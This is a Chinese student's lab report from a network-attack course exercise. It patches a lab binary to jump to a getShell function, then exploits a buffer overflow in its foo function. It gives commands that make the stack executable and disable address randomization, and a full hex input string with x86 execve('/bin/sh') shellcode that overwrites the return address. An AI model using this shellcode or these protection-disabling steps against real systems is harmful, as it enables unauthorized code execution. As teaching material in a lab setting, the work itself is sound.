码迷,mamicode.com
首页 > 其他好文 > 详细

20155313 杨瀚 《网络对抗技术》实验一 PC平台逆向破解(5)M

时间:2018-03-17 19:42:18      阅读:211      评论:0      收藏:0      [点我收藏+]

标签:准备工作   shell   进入   ack   溢出   汇编代码   查找   ffd   覆盖   

exp1 PC平台逆向破解(5)M

一、实验内容

  • 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 3.注入一个自己制作的shellcode并运行这段shellcode。

二、实验目的

  • 1.运行原本不可访问的代码片段
  • 2.强行修改程序执行流
  • 3.以及注入运行任意代码。

三、实验过程

第一阶段

  • 1.将pwn1代码拷入kali上,改名20155313pwn1。
  • 2.使用objdump -d 20155313pwn1 | more查看该代码的反汇编代码。其中的call 8048491的汇编指令是调用位于地址8048491处的foo函数。
    技术分享图片
  • 3.我们需要通过修改其对应的机械码,将此调用改为调用shellcode,将e8 d7改成e8 c3
    技术分享图片
  • 4.然后转换回原格式并查看修改后的反汇编代码。
    技术分享图片
    技术分享图片
  • 5.使用./20155313pwn1./20155313pwn2对比修改前后的功能区别。

第二阶段

  • 1.通过对20155313pwn1使用gdb进行调试,分别测试11111111222222223333333344444444555555551111111122222222333333334444444412345678,来查找eip寄存器的值具体是多少,并推断是哪几个字符串覆盖了返回地址。
    技术分享图片
    技术分享图片
  • 2.已知1234溢出buffer区域进入内存覆盖了返回地址,然后通过断点测试确认使用小端输入。
    技术分享图片
  • 3.在注入shellcode代码之前进行准备工作的设置。

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    技术分享图片
  • 4.我们使用anything+retaddr+nops+shellcode结构构造攻击buff。并使用gdb通过设置断点,来查看注入buf的内存地址。查找到这个地址为0xffffd2fc,根据教程上选择了相邻加4的地址,最终确定shellcode的地址为0xffffd300。

    Linux下有两种基本构造攻击buf的方法:
    retaddr+nop+shellcode
    nop+shellcode+retaddr。
    技术分享图片
  • 5.最后使用构造输入字符串实现攻击,该字符串为\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
    技术分享图片

20155313 杨瀚 《网络对抗技术》实验一 PC平台逆向破解(5)M

标签:准备工作   shell   进入   ack   溢出   汇编代码   查找   ffd   覆盖   

原文地址:https://www.cnblogs.com/bonsai/p/8591874.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!